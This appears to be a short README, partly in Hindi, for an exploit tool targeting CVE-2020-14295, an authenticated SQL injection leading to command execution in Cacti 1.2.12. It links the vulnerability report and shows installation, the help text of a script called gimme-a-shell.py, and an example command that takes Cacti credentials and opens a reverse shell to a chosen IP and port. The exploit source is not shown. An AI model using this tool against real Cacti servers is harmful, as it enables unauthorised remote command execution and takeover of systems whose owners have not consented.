0z09e/cve-2020-14295Cacti 1.2.12 पर प्रमाणित SQL इंजेक्शन से कमांड निष्पादन
भेद्यता विवरण - https://github.com/Cacti/cacti/issues/3622
pip3 install -r requirements.txt
$ ./gimme-a-shell.py --help
usage: gimme-a-shell.py [-h] -t Target -U Username -P Password -i Shell-IP -p Shell-Port
optional arguments:
-h, --help show this help message and exit
required arguments:
-t Target Target URL
-U Username Cacti username
-P Password Cacti password
-i Shell-IP Reverse-Shell IP
-p Shell-Port Reverse-Shell Port
./gimme-a-shell.py -t http://cacti.localhost -U admin -P admin -i 127.0.0.1 -p 9001